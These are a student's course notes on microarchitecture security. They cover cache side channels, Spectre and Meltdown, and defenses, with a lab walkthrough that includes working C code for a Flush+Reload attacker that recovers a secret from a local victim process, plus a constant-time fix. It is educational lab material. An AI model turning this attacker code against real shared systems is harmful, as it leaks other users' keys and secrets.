Microarchitecture Security
Safety note. All timing measurements and the Flush+Reload attack on this page run inside the course VM (
ff-cs-rafael-perez,192.168.80.19, Ubuntu 24.04, x86-64) under WireGuard VPN. The victim and attacker are two local processes sharing a memory-mapped file provided by the lab; no technique here targets any system outside that controlled environment. No private keys, passwords, or tokens appear on this page.
Session 3 ended at the program layer — how a process lays out memory and what happens when that layout is violated. This session goes one level deeper, to the hardware the program runs on. The vulnerability is no longer a bug in the code. The code is correct. The leak comes from the performance optimizations the CPU applies underneath: caches that remember recently used data, and speculation that runs instructions before it knows whether it should. Both are invisible to the program’s logic — but both leave a measurable footprint in time, and time is enough to steal a secret.
The practice environment is a cache side-channel lab: first measure the timing difference between a cache hit and a main-memory access on a real machine, then turn that difference into a Flush+Reload attack that extracts a secret flag from a victim process that never prints it.
Part A — Research: Microarchitecture & Side Channels
Based on the class lecture by Mengjia Yan, Ph.D. (MIT CSAIL) and Vincent Ulitzsch (TU Berlin) [1]
What is a side channel?
A side channel is unintentional communication between two parties that share a system. Information leaks through indirect effects — not through any designed communication path.
Classic example from the lecture: Domino’s Pizza delivery drivers near the White House noticed that orders spiked 72 hours before any military operation. Nobody at the Pentagon transmitted the information — it leaked through the number of pizzas ordered. That is a side channel [1].
Covert channel vs. side channel:
- Covert channel: intentional and cooperative communication between two parties using a medium not designed for it.
- Side channel: unintentional communication — the victim does not know it is transmitting.
In both cases the medium is not designed to be a channel, and the communication violates the system’s specification [1].
Types of side channels
Classification by what the attacker can observe [1]:
| Type | Observable | Required access |
|---|---|---|
| Physical channels | Power draw, EM radiation, acoustics | Physical proximity |
| Timing channels | Response time | Can be remote |
| Microarchitectural channels | Internal CPU events (timing, perf counters) | Remote or co-located |
Concrete examples:
- Acoustic: the sound of keystrokes on an ATM can be captured with a cheap microphone and an ML model to infer the PIN. Genkin et al. demonstrated “listening to the screen” — monitor frequencies vary with on-screen content (Synesthesia, S&P ’19) [11].
- Network: website fingerprinting uses packet patterns (size and timing) to identify which page a user visits even over encrypted traffic.
- Software timing: a
check_password()function with early exit on the first wrong byte reduces the search space from 36¹²⁸ (blind brute force) to 36 × 128 (per position). The timing difference leaks the secret.
The performance–security tension
Every layer of a modern CPU exists to make the common case fast: caches keep recently used data close, branch predictors guess where control flow is heading, out-of-order execution keeps the pipeline full, and speculation runs ahead of unresolved branches. None of these change the architectural result of a program — the values in registers and memory are exactly what the instruction set says they should be. But they change how long things take, and they leave state behind (a line pulled into the cache, a trained predictor). That residual microarchitectural state is the attack surface [1].
The central lesson: a side channel is not a bug in a program — it is information leaking through a shared resource that the architecture was never designed to isolate.
Microarchitecture side channels — threat model
Threat model: programs and users share the CPU. In a multi-user or cloud multi-tenant system, attacker and victim run on the same physical hardware. The OS/hypervisor provides virtual memory isolation — but not microarchitectural state isolation [1].
Communication model (Kiriansky et al. DAWG; Bourgeat et al. CaSA):
- The receiver (attacker) preconditions the channel — puts microarchitectural state into a known baseline.
- The transmitter (victim) modulates the channel based on the secret — its memory accesses change cache state depending on the secret value.
- The attacker monitors channel state to deduce the secret.
The channel is secret-dependent microarchitectural behavior — not transmitted bytes, but patterns of which cache lines get loaded.
The cache hierarchy
The processor cannot afford to read DRAM on every access — DRAM is roughly two orders of magnitude slower than the core. So it keeps a hierarchy of progressively larger, slower caches between the registers and main memory [1]:
| Level | Typical size | Typical latency | Shared? |
|---|---|---|---|
| Registers | ~KB | 0 cycles | per-core |
| L1 — per core | 32–64 KB | ~4 cycles | per-core |
| L2 — per core | 256 KB–1 MB | ~12 cycles | per-core |
| L3 (LLC) | several MB | ~40 cycles | shared across all cores |
| DRAM | GBs | ~150–300 cycles | shared |
Two properties make this exploitable. First, the latency gap between a hit and a miss is large and measurable — that is the raw signal. Second, the Last-Level Cache is shared across cores, so a process on one core can observe the cache footprint of a process on another. That is what makes Flush+Reload a cross-core attack rather than a same-core curiosity [2].
Select a scenario below to simulate a memory access and watch the lookup propagate through the hierarchy — notice how a DRAM miss costs roughly 57× more cycles than an L1 hit, and how the L3 is the first shared level where cross-core leakage becomes possible.
Cache lines — the unit of transfer
The cache does not move individual bytes between DRAM and the cache — it moves fixed-size blocks called cache lines. On all modern x86 processors, a cache line is 64 bytes [10].
When you read a single byte from an uncached address, the hardware loads the entire 64-byte block. Any subsequent access to any byte within that same 64-byte region is a cache hit. A memory address decomposes into three fields [13]:
- Block offset (low 6 bits) — selects the byte within the 64-byte line (2⁶ = 64).
- Set index (middle bits) — selects which cache set (a group of lines) to search.
- Tag (high bits) — identifies which memory block occupies that set slot.
Two addresses differing only in their block-offset bits map to the same cache line — an
access to either one warms the line for both. This is why ALIGN in the Flush+Reload lab is set
to 128 bytes (two cache lines) rather than just 64: each candidate secret value maps to a
distinct, non-overlapping cache line with a gap that prevents set-aliasing interference.
How cache leaks secrets
RSA — Square-and-Multiply Exponentiation: the standard algorithm iterates over bits of the
private exponent e. For each bit it always executes sqr(r), but only executes mul(r, b)
when the bit is 1. That conditional multiply accesses different code → different cache lines →
the attacker can recover the private key bit by bit [1]:
for i = n-1 to 0 do
r = sqr(r) /* always executes — predictable cache access */
r = mod(r, m)
if e_i == 1 then
r = mul(r, b) /* only when bit=1 — different cache line! */
r = mod(r, m)
end
AES — T-Table implementation: the classic AES implementation uses four lookup tables (Td0–Td3). The indices are functions of plaintext XOR key — each key byte determines which cache line gets loaded. Monitoring which lines are loaded reveals the key [5].
Core observation: in both cases there are secret-dependent memory accesses. The attacker’s goal: monitor access patterns at cache-line granularity.
Timing as a side channel — clflush and rdtsc
A program cannot ask the CPU “was this address cached?” — there is no such instruction. But it can time a read. On x86 the read is bracketed with the timestamp counter, serialized with fences:
mfence; lfence ; drain prior memory ops, serialize
t0 = rdtsc ; start the stopwatch
lfence
load [addr] ; the access we are timing
lfence
t1 = rdtsc ; stop
; latency = t1 - t0 ; small => was cached; large => came from DRAM
rdtsc (Read Time-Stamp Counter): returns CPU cycles since last reset — 1-cycle resolution,
no syscall overhead. mfence serializes all prior memory operations — without it, the CPU can
reorder the timestamp read and corrupt the measurement [10].
clflush vaddr (x86) / DC CIVAC vaddr (ARM): evicts the cache line containing vaddr
from every cache level back to DRAM. The instruction exists for DMA coherence — but it is
available from userspace, which makes it a weapon. Together, clflush forces a miss on demand
and a timed load detects whether someone else re-cached the line.
The chart below plots the 60 samples measured in Part 1 of the lab. Drag the threshold slider and watch the accuracy stats change — a perfect threshold sits in the gap between the two distributions. Moving it too high causes DRAM reads to be classified as hits; too low misses some L1 samples.
130cCache side-channel techniques
Different attacks assume different things about what the attacker and victim share [2][5]:
| Technique | Requires | How it detects a victim access |
|---|---|---|
| Flush+Reload | Shared memory (e.g. a shared library) | Flush the line, wait, reload — a fast reload means the victim touched it [2] |
| Prime+Probe | Only a shared cache set (no shared memory needed) | Fill a set with attacker lines, wait, re-time them — a slow line means the victim evicted it [5] |
| Evict+Time | Ability to trigger the victim | Time the whole victim run with/without a set evicted — slower run reveals a secret-dependent access |
| Flush+Flush | Shared memory | Time clflush itself — flushing a cached line is slower than flushing an uncached one; stealthier (no memory load needed) |
The simulator below runs a complete Flush+Reload attack. Set the victim’s secret with the slider, then step through the three phases — after Reload, the one fast line (cache hit) reveals the secret the victim never explicitly transmitted.
07Flush+Reload is the highest-resolution and lowest-noise of these because it operates at the granularity of a single cache line and reads a clean binary signal (fast vs slow). Its one requirement — shared memory — is common in practice through shared libraries and, in the lab, a memory-mapped file.
Virtual memory and page sharing
(Session 3 covered virtual address spaces in full. Here the focus is the specific mechanism that makes Flush+Reload possible.)
Every process sees its own virtual address space — an illusion maintained by the OS with hardware help (the MMU). The MMU translates virtual addresses to physical addresses through a page table. The unit of that translation is a page — typically 4 KB on x86.
Two different virtual addresses in two different processes can map to the same physical page.
This is intentional and normal: when multiple processes load the same shared library (libc,
libssl), the OS maps the read-only .text section to a single physical copy in RAM. Both
processes see different virtual addresses, but the MMU resolves both to the same physical frames.
Transparent Page Deduplication: Linux KSM (Kernel Same-page Merging) and VMware TPS (Transparent Page Sharing) [12] go further. They scan all pages in memory for identical content and silently merge duplicates into a single physical page. Two VMs running the same guest OS often share thousands of pages — neither knows. The OS saves RAM; the security implication is that those pages now flow through the same cache lines on the same physical CPU.
This is the prerequisite for Flush+Reload: without a shared physical page, there is no shared cache state for the attacker to observe. With one, the attacker and victim unknowingly contend for the same 64-byte lines — and that contention is measurable [1][12].
Hardware prefetcher
The hardware prefetcher is a circuit inside the CPU that monitors memory access patterns and speculatively loads data from DRAM before the code explicitly requests it — to hide the DRAM latency by predicting the next access [10].
The most common pattern it targets: sequential (stride-1) access. If you read addresses A, A+64, A+128 in order, the prefetcher immediately loads A+192 without being asked. This is why iterating over an array is fast even on the first traversal.
Why this breaks the Flush+Reload attack: if the attacker probes candidates in sequential order (index 0, 1, 2, … N), the prefetcher loads every line preemptively — every access registers as a cache hit, regardless of what the victim actually touched. Signal is drowned in noise.
Solution: access candidates in a random permutation every iteration. No sequential pattern means no prefetcher trigger. Only the line the victim genuinely accessed will be warm; all others stay cold.
Out-of-order and speculative execution
Modern CPUs execute instructions out of program order and speculatively — two optimizations responsible for most performance gains since the 1990s, and that together created Spectre and Meltdown [3][4].
Out-of-order execution (OoO): a memory load takes ~100–300 ns — hundreds of cycles during which the CPU would otherwise stall. Instead, the CPU scans ahead in the instruction stream for independent instructions and executes them while waiting. It keeps a reorder buffer (ROB) to track results and retires them in the original program order, so the final architectural state is identical to sequential execution [13]. Results only become visible when in-order retirement reaches them.
Speculative execution: branch instructions create a fork in the execution path. Rather than stall waiting for the condition to resolve, the CPU uses its branch predictor to guess the most likely path and begins executing it speculatively. If correct, the work was done for free. If wrong, the CPU squashes (rolls back) all speculative results — registers restored, memory writes undone — and re-executes the correct path. Architecturally clean.
The gap that Spectre and Meltdown exploit: squashing rolls back the architectural state — registers and memory — but not the microarchitectural state. Cache lines loaded during speculative execution are not evicted on squash. They persist. This is the core insight:
Instructions that were never supposed to execute left a fingerprint in the cache. That fingerprint is readable through timing.
Transient-execution attacks
| Attack | What it abuses | What it leaks |
|---|---|---|
| Spectre v1 | Speculation past a bounds check (bounds-check bypass) | Reads memory outside an array’s bounds within the process [3] |
| Spectre v2 | Poisoning the branch-target predictor | Redirects speculation into an attacker-chosen gadget [3] |
| Meltdown | Speculation past a privilege check before the fault retires | Reads kernel memory from user space [4] |
Meltdown broke the fundamental user/kernel isolation on affected Intel CPUs; Spectre is harder to fix because it abuses correct, universal speculation rather than a specific implementation flaw. Both were disclosed in 2018 and reshaped how the industry thinks about the boundary between architecture and microarchitecture [3][4].
Defenses — attacking the covert channel
Every attack above is really a covert channel: a transmitter that encodes a secret into cache
state (buf[secret * STRIDE]) and a receiver that decodes it by timing (Flush+Reload). Defenses
attack different links in that chain:
| Mitigation | Mechanism | Link it breaks |
|---|---|---|
| Constant-time / oblivious code | No secret-dependent memory address or branch; identical footprint every run | The transmitter — nothing to encode |
| Cache partitioning | Give tenants disjoint cache ways/sets (Intel CAT, page coloring) | The shared resource |
| KPTI / KAISER | Unmap kernel pages from the user address space | Meltdown’s access to kernel memory [8] |
| Retpoline / IBRS | Replace indirect branches so they can’t be steered by a poisoned predictor | Spectre v2’s redirection [9] |
| InvisiSpec | Buffer speculative loads so they leave no cache trace until they retire | The receiver’s signal [6] |
No single defense is sufficient. Constant-time code eliminates the leak at the source but is hard to write and verify; hardware partitioning and invisible speculation cost performance; KPTI and retpoline patch specific attack classes. KPTI’s first-release cost was real — ~5–30% slowdown on syscall-heavy workloads [4][8]. Disabling speculative execution entirely is not an option: benchmarks show 20–50% throughput loss [3]. Depth matters.
Setup
01Install build tools
sudo apt install make gcc
gcc --version && make --version

02Download lab files
mkdir session04 && cd session04
wget https://class.academany.org/futures/cybersecurity/2026/curriculum/lectures/Part1-Timing.zip
wget https://class.academany.org/futures/cybersecurity/2026/curriculum/lectures/Part2-FlushReload.zip
unzip Part1-Timing.zip && unzip Part2-FlushReload.zip


Editor’s note.
treewas not installed on the course VM by default — had to runsudo apt install treefirst.

Part B — Practical exercises: Cache Side-Channel Attacks Lab
Tools
The lab needs only make and gcc. The two key primitives from Part1-Timing/utility.h:
measure_one_block_access_time(addr)— readsaddrand returns how many cycles the read took. Internally usesrdtscp(Read Time-Stamp Counter and Processor ID), a partially serializing variant ofrdtscthat is more reliable for timing measurements.clflush(addr)— evictsaddrfrom every cache level back to DRAM, so the next read is a guaranteed miss.
Build note — disabling PIE on Ubuntu 24.04. The course VM’s gcc defaults to producing a
PIE (Position-Independent Executable). The lab’s util.c references string literals in
.rodata with 32-bit absolute addressing, which the PIE linker rejects:
/usr/bin/ld: util.o: relocation R_X86_64_32S against `.rodata' can not be used
when making a PIE object; recompile with -fPIE
Fix: add -fno-pie -no-pie to CFLAGS in the Makefile (CFLAGS = -O0 -fno-pie -no-pie), then
make clean && make. This is a toolchain-version detail — it does not change the lab’s logic.


Part 1 — Timing the cache vs. main memory
Goal: measure the latency of a cache hit and a DRAM access directly, confirm the gap, and choose a threshold that separates the two distributions.
01Explore the lab files
main.c has two measurement loops and calls print_results_plaintext() at the end. utility.h
provides the rdtscp timing infrastructure and the clflush wrapper.


02Fill in the DRAM latency loop
The L1 loop is provided as a worked example: touch the address first (to bring it into cache), then measure. The DRAM loop is the TODO — evict first, then measure:
volatile uint8_t *target_buffer = (uint8_t *)malloc(LINE_SIZE);
/* Cache (L1) latency — WORKED EXAMPLE: touch it, then measure */
for (int i = 0; i < SAMPLES; i++) {
tmp = target_buffer[0]; /* bring into cache */
l1_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
}
/* DRAM latency — the TODO: flush it, then measure */
for (int i = 0; i < SAMPLES; i++) {
clflush((void *)(uint64_t)target_buffer); /* evict → forces miss */
dram_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
}
print_results_plaintext(l1_latency, dram_latency); /* print AFTER measuring */
Note the two different casts: measure_one_block_access_time takes a uint64_t address while
clflush takes a void *. The double cast (void *)(uint64_t)target_buffer also silences the
“discards volatile qualifier” warning.
Measure first, print later.
printfmakes a syscall that floods the cache with unrelated lines — if called inside the loop it destroys the very state being measured. Store all results in the arrays, then callprint_results_plaintextonce at the end.
First run — DRAM column all zeros. The DRAM measurements initially read 0 for all values
(the L1 measurements were correct). The cause: clflush was being called with the wrong cast,
so the eviction was silently failing and every “DRAM” read was actually a cache hit.

03Compile, run, and interpret results
cd Part1-Timing/
make
make run


Discussion 1-1 — latencies and the gap. The L1 latency is extremely stable: median 40 cycles (min 39, max 43). The DRAM latency has a median of 228 cycles (min 225), with a noisy upper tail (top decile / max = 624 cycles) caused by interrupts or context switches landing inside a measurement. Typical gap: ≈188 cycles, about 5.7× slower for DRAM than L1. The median is the right statistic because a few outliers stretch the maximum far above the typical value — which is why the lab reports deciles rather than a mean.
Discussion 1-2 — threshold. The two distributions do not overlap at all: the slowest L1 hit
(43 cycles) is well below the fastest DRAM read (225 cycles). Choosing 100 cycles: a
measurement < 100 ⇒ in cache; ≥ 100 ⇒ from DRAM.
Part 2 — Flush+Reload CTF
Goal: extract the secret flag from a victim process without the victim ever revealing it —
only by watching which cache line it touches.
04Understand the victim
The victim loops forever, repeatedly reading one location whose offset depends on the secret:
while (1)
value = load(buf + flag * ALIGN); /* which line it touches encodes the secret */
The victim and attacker share buf in physical memory — both mmap the same file
(shared_file, MAP_SHARED, read-only) via allocate_shared_buffer(). Shared physical memory
means shared cache state: when the victim reads buf + flag*ALIGN, that line lands in the L3
(shared across cores), and the attacker on another core can detect it.
Two constants worth defining:
SEC_RANGE— the number of possible secret values (1024 in this lab). The attacker checks all of them each iteration.ALIGN— spacing in bytes between adjacent candidates (128 bytes = 2 cache lines). Each candidate occupies its own distinct line, with a gap that prevents set-aliasing interference.
05Complete attacker.c — calibrate + Flush+Reload loop
Critical: Part 2’s measure_one_block_access_time (in util.c) uses lfence; rdtsc —
not the rdtscp variant from Part 1. Its absolute cycle counts differ, so the Part 1 threshold of
100 cycles does not transfer to Part 2. Solution: calibrate at startup against this
machine’s timing function, then use the calibrated midpoint.
/* (a) Calibrate: measure a known hit and a known miss */
ADDR_PTR a = (ADDR_PTR)(buf + 0 * ALIGN);
CYCLES hit_min = (CYCLES)-1, miss_min = (CYCLES)-1;
for (int i = 0; i < 1000; i++) {
(void)*(volatile char *)a;
CYCLES c = measure_one_block_access_time(a);
if (c < hit_min) hit_min = c;
}
for (int i = 0; i < 1000; i++) {
clflush(a);
CYCLES c = measure_one_block_access_time(a);
if (c < miss_min) miss_min = c;
}
CYCLES THRESHOLD = hit_min + (miss_min - hit_min) / 2;
printf("calib: hit~%u miss~%u threshold=%u\n", hit_min, miss_min, THRESHOLD);
/* (b) Flush + Wait + Reload, 5000 rounds */
long *score = calloc(SEC_RANGE, sizeof(long));
int *order = malloc(SEC_RANGE * sizeof(int));
for (int i = 0; i < SEC_RANGE; i++) order[i] = i;
srand(time(NULL));
for (int r = 0; r < ROUNDS; r++) {
/* 1. FLUSH every candidate line */
for (int i = 0; i < SEC_RANGE; i++)
clflush((ADDR_PTR)(buf + i * ALIGN));
/* 2. WAIT — spin loop, NOT sleep() (syscall trashes cache state) */
for (volatile int w = 0; w < 1000; w++) { }
/* 3. RELOAD in RANDOMIZED order (defeats hardware prefetcher) */
for (int i = SEC_RANGE - 1; i > 0; i--) { /* Fisher–Yates shuffle */
int j = rand() % (i + 1), t = order[i];
order[i] = order[j]; order[j] = t;
}
for (int k = 0; k < SEC_RANGE; k++) {
int i = order[k];
CYCLES t = measure_one_block_access_time((ADDR_PTR)(buf + i * ALIGN));
if (t < THRESHOLD) score[i]++;
}
}
long best = -1;
for (int i = 0; i < SEC_RANGE; i++)
if (score[i] > best) { best = score[i]; flag = i; }
printf("(top candidate scored %ld / %d rounds)\n", best, ROUNDS);
free(score); free(order);

06Run the attack — two terminals
# Terminal 1 — generate the shared buffer, then run the victim (leave it running):
python3 gen_file.py
make run_victim
# Terminal 2 (SSH) — run the attacker while the victim is running:
make run_attacker
The victim reads buf + flag * ALIGN on every iteration. The flag is random and embedded in
shared_file by gen_file.py — re-run it to pick a new flag.


First attempt — hardcoded threshold, wrong result. With THRESHOLD = 100, the winning
candidate scored only ≈460/5000 rounds and returned an incorrect flag. The cause: Part 2’s
measure() uses lfence; rdtsc and produces systematically different absolute cycle counts
than Part 1’s rdtscp — the threshold classifies ambiguously.

Second attempt — calibrated threshold, correct result. After replacing the fixed threshold with the runtime calibration loop, the attacker correctly identifies the victim’s secret.

The correct candidate scored a cache hit in 3,955 of 5,000 rounds while every other candidate
scored near zero — a clean separation. Note the calibrated hit/miss on this VM (~55 / ~380
cycles) differ markedly from Part 1’s (~39 / ~228) — concrete evidence that Part 2’s
measure() is a different timing function, and exactly why hardcoding 100 was wrong.
Two environment notes:
- Flush+Reload needs victim and attacker to run concurrently. If the VM has only one core they
time-slice and the signal collapses. Confirm
nproc ≥ 2; if needed pin to separate cores:taskset -c 0 ./victim/taskset -c 1 ./attacker. - The victim’s flag is random on each run. Regenerate
shared_filewithpython3 gen_file.pybefore each test and keep the victim running while the attacker executes.
Discussion 2-2 — how to fix the victim. The leak exists because the memory address the victim reads depends on the secret. The fix: make the victim’s cache footprint independent of the secret — constant-time / data-oblivious access:
/* Oblivious version — same cache footprint every iteration regardless of flag */
char wanted = 0;
for (int i = 0; i < SEC_RANGE; i++) {
char v = *(volatile char *)(buf + i * STRIDE); /* touch ALL lines, always */
char mask = -(char)(i == flag); /* 0xFF if match, 0x00 otherwise */
wanted |= v & mask; /* branch-free select */
}
Now Flush+Reload sees the same set of lines pulled in every round — the timing carries no
information about flag. This is the principle behind constant-time cryptography: never let a
secret decide which memory you touch or which branch you take.
The demo below puts both victims side by side. Run each one, then trigger the attacker — the vulnerable version’s single hot cache line immediately reveals the secret, while the constant-time version’s uniform footprint gives the attacker nothing to distinguish.
3// only accesses secret's line load(buf + secret * ALIGN);
// touches ALL lines every run for i in 0..N: v = load(buf + i * S) wanted |= v & mask(i==secret)
Research notes
rdtscp vs rdtsc in the lab
Part 1’s utility.h uses rdtscp (Read Time-Stamp Counter and Processor ID), a partially
serializing instruction that also returns the CPU core ID. Part 2’s util.c uses lfence; rdtsc
without serialization after the read. Both measure cycles but their absolute values differ —
which is exactly why the 100-cycle threshold from Part 1 cannot be reused in Part 2.
Why the threshold varies between machines
Exact latencies depend on CPU frequency, RAM speed, and cache size. There is no universal threshold — it must be measured experimentally on the target machine with the target timing function.
Reflection
The most unsettling part of this session is that the victim program has no bug. It does not overflow anything, it does not call a dangerous function, it does exactly what its source says. And it still leaks its secret — through the cache, a resource that no line of C ever mentions. That gap between the architectural contract (registers and memory are correct) and the microarchitectural reality (timing and cache state betray you) is the whole subject. Measuring the ~39-vs-228-cycle difference with my own hands — and then watching an attacker use it to extract a flag from an otherwise silent process — made the Spectre headlines feel suddenly real and personal.
What stays with me as an educator is the covert-channel framing: transmitter, channel, receiver.
Once I saw that buf[secret*STRIDE] is a transmitter and Flush+Reload is a receiver, every
attack in Part A collapsed into one shape, and so did the defenses — you can attack the
transmitter (constant-time code), the channel (cache partitioning), or the receiver (invisible
speculation). That is a far more durable mental model than memorizing Spectre variant numbers,
and it is exactly how I would teach this.
The calibration detour reinforced the lesson in an unexpected way. The 100-cycle threshold from
Part 1 failed completely in Part 2 because the two files use different timing instructions
(rdtscp vs lfence; rdtsc) with different absolute values — a reminder that there is no
universal answer in microarchitecture: you must measure on the target machine with the target
function. That is also why constant-time code matters: it removes the measurement problem
entirely by making the footprint independent of the secret.
It lands close to my daily work. I write Python on top of FastAPI and React, layers where “which array index did you read” feels like a private implementation detail. This lab is a reminder that on shared hardware — every cloud VM I deploy to — that detail can be observed. The fix for the victim, touching every line so the footprint is uniform, is a small and teachable example of the same principle that hardens real cryptographic libraries: never let a secret decide which memory you touch.
Tools & references
- Mengjia Yan, Ph.D. (MIT CSAIL) and Vincent Ulitzsch (TU Berlin), “Microarchitecture Security” — lecture slides · Fab Futures Cybersecurity 2026 · 2 Jul 2026
- Flush+Reload: A High Resolution, Low Noise, L3 Cache Side-Channel Attack · Yuval Yarom & Katrina Falkner · USENIX Security 2014
- Spectre Attacks: Exploiting Speculative Execution · Kocher, Horn, Fogh, Genkin, Gruss, Haas, Hamburg, Lipp, Mangard, Prescher, Schwarz, Yarom · IEEE S&P 2019
- Meltdown: Reading Kernel Memory from User Space · Lipp, Schwarz, Gruss, Prescher, Haas, Fogh, Horn, Mangard, Kocher, Genkin, Yarom, Hamburg · USENIX Security 2018
- Cache Attacks and Countermeasures: the Case of AES · Osvik, Shamir & Tromer · CT-RSA 2006 — foundational Prime+Probe paper and AES T-table cache attack
- InvisiSpec: Making Speculative Execution Invisible in the Cache Hierarchy · Yan, Choi, Skarlatos, Morrison, Fletcher, Torrellas · MICRO 2018 — hardware defense from this session’s lecturer
- Mastik: A Micro-Architectural Side-Channel Toolkit · Yuval Yarom — reference implementation of Flush+Reload and Prime+Probe
- KASLR is Dead: Long Live KASLR (KAISER/KPTI) · Gruss, Lipp, Schwarz, Fellner, Maurice, Mangard · ESSoS 2017 — basis of the Meltdown kernel mitigation
- Retpoline: a software construct for preventing branch-target-injection · Google — Spectre v2 mitigation
- Intel® 64 and IA-32 Architectures Software Developer’s Manual · Intel Corporation — reference for
rdtsc,rdtscp,clflush, memory-fence semantics, and 64-byte cache line specification - Synesthesia: Detecting Screen Content via Remote Acoustic Side Channels · Genkin et al. · IEEE S&P 2019
- Memory Resource Management in VMware ESX Server · Carl A. Waldspurger · USENIX OSDI 2002 — foundational paper on Transparent Page Sharing (TPS)
- John L. Hennessy, David A. Patterson · Computer Architecture: A Quantitative Approach, 6th ed. · Morgan Kaufmann, 2019 — out-of-order execution, reorder buffer, speculative execution, and cache address decomposition